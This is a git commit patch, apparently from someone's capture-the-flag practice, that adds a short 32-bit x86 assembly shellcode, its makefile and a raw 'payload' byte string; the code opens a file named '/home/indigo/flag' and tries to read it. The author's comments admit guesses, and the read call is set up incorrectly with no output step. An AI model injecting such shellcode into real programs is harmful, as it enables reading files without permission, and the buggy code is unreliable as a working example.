From 4fda6945bcaed8de8220e02a93a04fcc1d171c6b Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Tue, 27 Oct 2020 05:24:08 -0500 Subject: new file: fread new file: fread.asm new file: fread.o new file: makefile modified: orw new file: payload --- fread | Bin 0 -> 4272 bytes fread.asm | 26 ++++++++++++++++++++++++++ fread.o | Bin 0 -> 512 bytes makefile | 4 ++++ orw | Bin payload | 1 + 6 files changed, 31 insertions(+) create mode 100755 fread create mode 100644 fread.asm create mode 100644 fread.o create mode 100644 makefile mode change 100644 => 100755 orw create mode 100755 payload diff --git a/fread b/fread new file mode 100755 index 0000000..0b9e19e Binary files /dev/null and b/fread differ diff --git a/fread.asm b/fread.asm new file mode 100644 index 0000000..358cc93 --- /dev/null +++ b/fread.asm @@ -0,0 +1,26 @@ +global _start +_start: +jmp short data +str_found: +xor eax, eax +mov al, 5 ;sys_open + +xor ecx, ecx ; arg2 +xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 + +pop ebx +mov [ebx + 18], ecx ; arg1 +int 0x80 + +;eax now contains our file descriptor. + +mov al, 3 ;sys_read +mov ebx, esp ;I think? +mov cl, 0xff ;eh, random guess I guess +int 0x80 + + +data: +call str_found +db "/home/indigo/flag" + diff --git a/fread.o b/fread.o new file mode 100644 index 0000000..00717e4 Binary files /dev/null and b/fread.o differ diff --git a/makefile b/makefile new file mode 100644 index 0000000..71bf3b9 --- /dev/null +++ b/makefile @@ -0,0 +1,4 @@ +make: + nasm fread.asm -felf32 -o fread.o + ld -m elf_i386 fread.o -o fread -s + diff --git a/orw b/orw old mode 100644 new mode 100755 diff --git a/payload b/payload new file mode 100755 index 0000000..9196c98 --- /dev/null +++ b/payload @@ -0,0 +1 @@ +ë1À°1É1Ò[‰KÍ€èíÿÿÿ/home/indigo/flag \ No newline at end of file -- cgit v1.2.3